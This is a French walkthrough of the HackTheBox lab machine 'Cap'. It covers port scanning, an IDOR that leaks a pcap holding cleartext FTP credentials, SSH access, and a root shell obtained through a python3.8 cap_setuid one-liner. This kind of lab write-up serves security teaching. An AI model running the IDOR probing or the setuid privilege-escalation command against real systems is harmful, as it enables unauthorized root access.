Il s’agit d’une machine très simple sur toute la plateforme HTB. Essayez-la, c’est gratuit !

Énumération Link to heading

Tout d’abord, faisons un scan nmap :

nmap -p- 10.10.10.245            
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-23 20:23 CEST
Nmap scan report for 10.10.10.245
Host is up (0.083s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    Gunicorn
|_http-title: Security Dashboard
|_http-server-header: gunicorn
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.07 seconds

Énumération des services Link to heading

L’on voit trois services actifs : FTP, SSH et un serveur web.

On découvre rapidement que l’authentification anonyme sur le service FTP est désactivée et que la version du serveur SSH n’est pas particulièrement vulnérable.

Énumération Web Link to heading

Le site web est appelé Gunicorn. Il semblerait qu’il s’agit d’une sorte de moniteur pour le serveur web. Il y a une page où il est possible de voir des interfaces réseaux, la configuration réseau et il est aussi possible de télécharger des fichiers pcap.

L’interface nous montre le compte de l’utilisateur “Nathan” sans aucune authentification requise de notre part.

En cliquant sur “Security Snapshot” sur le menu à gauche, cela nous amène à l’URL:

http://10.10.10.245/data/1

Notons l’extension /1 de l’URL. Il s’agit d’une “Référence d’Objet Directe”, ce qui ouvre toujours la porte à une “Référence d’Objet Directe Non-Sécurisée” ou IDOR en anglais.

IDOR Link to heading

En changeant la valeur de l’extension de l’URL à 0, cela nous donne :

With other pages, the numbers of captures are always 0

With other pages, the numbers of captures are always 0

Le fichier pcap peut alors être téléchargé et analysé avec l’outil Wireshark.

With other pages, the numbers of captures are always 0

With other pages, the numbers of captures are always 0

Du traffic FTP a été capturé et l’on voit des identifiants circuler en clair : nathan:Buck3tH4TF0RM3!.

FTP Link to heading

Ces identifiants sont reconnus par le serveur FTP :

Name (10.10.10.245:dvr): nathan
331 Please specify the password.
Password: 
230 Login successful.
ftp> get user.txt

Le fichier user.txt est trouvé et téléchargé et il s’agit du premier drapeau.

SSH Link to heading

Les identifiants sont également reconnus par le serveur SSH.

Privilege Escalation Link to heading

Une fois connecté par SSH, on téléverse immédiatement le fichier LinEnum.sh et on l’exécute. Cet outil découvre que le fichier :

/usr/bin/python3.8

A la capacité cap_setuid qui peut être exploitée de la façon suivante :

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Après ça, nous sommes authentifiés comme root (soit l’utilisateur administrateur) sur la machine, et nous pouvons donc lire le dernier drapeau :

cat /root/root.txt

Et alors la machine est à nous !